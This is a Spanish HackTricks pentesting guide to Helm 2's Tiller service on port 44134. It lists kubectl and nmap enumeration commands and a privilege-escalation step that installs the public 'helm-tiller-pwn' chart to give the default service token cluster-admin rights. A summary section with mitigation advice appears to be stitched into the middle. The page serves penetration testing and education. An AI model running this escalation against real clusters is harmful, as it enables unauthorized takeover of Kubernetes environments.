hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

6.4 KiB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Helm es el gestor de paquetes para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman Helm Charts. Tiller es el servicio que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.

Puerto predeterminado: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeración

Si puedes enumerar pods y/o servicios de diferentes espacios de nombres, enuméralos y busca aquellos con "tiller" en su nombre:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
# Pentesting Tiller (Helm)

## Resumen

Tiller es el componente del servidor de Helm, el gestor de paquetes de Kubernetes. Hasta la versión 2, Tiller se ejecutaba con altos privilegios dentro de un clúster de Kubernetes y podía ser una superficie de ataque si no se configuraba correctamente.

## Descubrimiento

Para descubrir si un clúster de Kubernetes está ejecutando Tiller, se puede buscar el servicio en el puerto 44134 utilizando herramientas como `nmap`.

## Explotación

Un atacante puede explotar Tiller mal configurado para instalar, actualizar o eliminar charts de Helm, lo que podría resultar en la ejecución de código arbitrario o la filtración de información sensible.

## Mitigación

Para mitigar este riesgo, se recomienda actualizar a Helm 3, que no utiliza Tiller, o asegurarse de que Tiller esté configurado con políticas de acceso adecuadas y se ejecute en un namespace aislado.

## Herramientas de Pentesting

- `nmap`
- `helm`
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

También podrías intentar encontrar este servicio en ejecución comprobando el puerto 44134:

sudo nmap -sS -p 44134 <IP>

Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente de helm. Puedes usar herramientas como homebrew, o consultar la página oficial de lanzamientos. Para más detalles, o para otras opciones, consulta la guía de instalación.

Luego, puedes enumerar el servicio:

helm --host tiller-deploy.kube-system:44134 version

Escalación de Privilegios

Por defecto, Helm2 se instalaba en el namespace kube-system con privilegios elevados, así que si encuentras el servicio y tienes acceso a él, esto podría permitirte escalar privilegios.

Todo lo que necesitas hacer es instalar un paquete como este: https://github.com/Ruil1n/helm-tiller-pwn que dará al token de servicio predeterminado acceso a todo en el cluster completo.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

En http://rui0.cn/archives/1573 tienes la explicación del ataque, pero básicamente, si lees los archivos clusterrole.yaml y clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ puedes ver cómo se están otorgando todos los privilegios al token predeterminado.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: